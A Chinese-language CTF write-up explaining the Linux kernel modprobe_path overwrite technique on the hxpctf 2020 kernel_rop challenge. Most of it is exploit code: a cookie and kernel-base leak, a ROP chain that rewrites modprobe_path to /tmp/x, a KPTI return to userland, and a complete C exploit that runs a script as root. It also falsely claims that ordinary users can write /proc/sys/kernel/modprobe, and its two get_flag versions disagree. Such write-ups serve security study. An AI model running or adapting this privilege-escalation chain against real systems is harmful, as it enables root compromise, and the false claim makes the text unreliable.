什么是modprobe?
这玩意就是用于在Linux内核中添加一个可加载的内核模块,或者从内核中移除一个可加载的内核模块,它是我们在Linux内核中安装或卸载新模块时都要执行的一个程序。该程序的路径是一个内核全局变量,默认为/sbin/modprobe,我们可以通过运行以下命令来查看该路径:
cat /proc/sys/kernel/modprobe
这个路径是可写的,普通用户也是可以更改它的
而当内核运行一个错误格式的文件(或未知文件类型的文件)的时候,也会调用这个 modprobe_path所指向的程序。如果我们将这个字符串指向我们自己的sh文件 ,并使用 system或 execve 去执行一个未知文件类型的错误文件,那么在发生错误的时候就可以执行我们自己的二进制文件了。其调用流程如下
do_execve()->do_execveat_common()->bprm_execve()->exec_binprm()
->search_binary_handler()->request_module()->call_usermodehelper()
利用手法有一些前提条件:
- 知道modprobe_path的地址
- 知道kpti_trampoline的地址(用来返回用户态)
- 能够任意地址写
接下来将以hxpctf 2020 kernel_rop这道题为例来介绍这种攻击手法
本题ko非常简单,直接给出了大范围的读写溢出,首先是信息收集,利用大范围的读溢出,拿到栈上的敏感数据,如cookie和image_base
cookie好说,直接读就行,image_base如何拿?
修改启动脚本,将uid从1000修改为0,方便我们调试,然后将栈上数据打印出来看看:
我们想要的image_base可以在/proc/kallsyms中的startup_64看到:
/ # cat /proc/kallsyms | grep startup_64
ffffffffb1400000 T startup_64
ffffffffb1400030 T secondary_startup_64
ffffffffb14001f0 T __startup_64
可以看到在第38号数据那里有一个距离startup_64固定偏移0xa157的数据
所以image_base可以通过leak[38]-0xa157来得到。
然后利用找到的image_base得到kpti_trampoline的地址:
/ # cat /proc/kallsyms | grep swapgs_restore_regs_and_return_to_usermode
ffffffff93c00f10 T swapgs_restore_regs_and_return_to_usermode
计算出偏移:
0xffffffff93c00f10-0xffffffff93a00000=0x200f10
得到modprobe_path的地址
/ # cat /proc/kallsyms | grep modprobe_path
ffffffff94a61820 D modprobe_path
计算出偏移:
0xffffffff94a61820-0xffffffff93a00000=0x1061820
对于kpti_trampoline的利用,要注意有两次多余的pop,其rop链非常简洁:
payload[off++] = kpti_trampoline;
payload[off++] = 0x0; //dummy rax
payload[off++] = 0x0; //dummy rdi
payload[off++] = user_rip;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
所以这里我们的思路就完整了,首先利用越界读泄露cookie和image_base,然后利用image_base得到kpti_trampoline和modprobe_path的地址,然后用越界写布置rop链,链子上要注意cookie正确,用gadget完成修改modprobe_path,执行get_flag函数,最后通过kpti_trampoline返回用户态。
get_flag函数中我们要写什么东西呢,现在modprobe_path已经修改成/tmp/x了,所以我们自然是要去创建这个文件,写入shell脚本,然后写一个系统不认识的文件,从而触发modprobe_path执行/tmp/x。
get_flag:
void get_flag(void){
puts("[*] Returned to userland, setting up for fake modprobe");
system("echo '#!/bin/sh\ncp /dev/sda /tmp/flag\nchmod 777 /tmp/flag' > /tmp/x");
system("chmod +x /tmp/x");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
puts("[*] Run unknown file");
system("/tmp/dummy");
puts("[*] Hopefully flag is readable");
system("cat /tmp/flag");
exit(0);
}
找gadget
ROPgadget --binary ./vmlinux > gadgets.txt
最后形成完整exp:
#include<stdio.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/mman.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <linux/userfaultfd.h>
#include <sys/wait.h>
#include <poll.h>
#include <unistd.h>
#include <stdlib.h>
int global_fd;
size_t user_cs, user_ss, user_rflags, user_sp;
unsigned long cookie=0;
unsigned long image_base=0;
unsigned long base=0xffffffff81000000;
unsigned long modprobe_path=0;
unsigned long kpti_trampoline=0;
unsigned long pop_rax_ret=0;
unsigned long write_ptr_rbx_rax_pop2_ret=0;
unsigned long pop_rbx_r12_rbp_ret=0;
void save_status()
{
asm(
"movq %%cs, %0\n\t"
"movq %%ss, %1\n\t"
"movq %%rsp, %2\n\t"
"pushfq\n\t"
"popq %3\n\t"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags)
:
: "memory");
}
void open_dev()
{
global_fd=open("/dev/hackme",O_RDWR);
if(global_fd<0){
puts("[!] Failed to open device\n");
exit(-1);
}else{
puts("[*] Opened device");
}
}
void leak_canary()
{
unsigned long leak[0x30]={0};
int leak_size=read(global_fd,leak,sizeof(leak));
cookie=leak[16];
image_base=leak[38]-0xa157;
kpti_trampoline=image_base+0x200f10+22;
modprobe_path=image_base+0x1061820;
pop_rax_ret = image_base + 0x4d11UL;
pop_rbx_r12_rbp_ret = image_base + 0x3190UL;
write_ptr_rbx_rax_pop2_ret = image_base + 0x306dUL;
printf("[*]leak %d bytes\n",leak_size);
printf("[*]leak canary : %lx\n",cookie);
printf("[*]leak image base: %lx\n",image_base);
}
void get_shell()
{
puts("[*] Returned to userland");
if (getuid() == 0){
printf("[*] UID: %d, got root!\n", getuid());
system("/bin/sh");
} else {
printf("[!] UID: %d, didn't get root\n", getuid());
exit(-1);
}
}
void get_flag(){
puts("[*] Returned to userland, setting up for fake modprobe");
system("echo '#!/bin/sh\ncp /flag /tmp/flag\nchmod 777 /tmp/flag' > /tmp/x");
system("chmod +x /tmp/x");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
puts("[*] Run unknown file");
system("/tmp/dummy");
puts("[*] Hopefully flag is readable");
system("cat /tmp/flag");
exit(0);
}
void overflow(){
unsigned n = 50;
unsigned long payload[n];
unsigned off = 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = pop_rax_ret; // return address
payload[off++] = 0x782f706d742f; // rax <- "/tmp/x"
payload[off++] = pop_rbx_r12_rbp_ret;
payload[off++] = modprobe_path; // rbx <- modprobe_path
payload[off++] = 0x0; // dummy r12
payload[off++] = 0x0; // dummy rbp
payload[off++] = write_ptr_rbx_rax_pop2_ret; // modprobe_path <- "/tmp/x"
payload[off++] = 0x0; // dummy rbx
payload[off++] = 0x0; // dummy rbp
payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22
payload[off++] = 0x0; // dummy rax
payload[off++] = 0x0; // dummy rdi
payload[off++] = (unsigned long)get_flag;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
puts("[*] Prepared payload to overwrite modprobe_path");
ssize_t w = write(global_fd, payload, sizeof(payload));
puts("[!] Should never be reached");
}
int main()
{
save_status();
open_dev();
leak_canary();
overflow();
}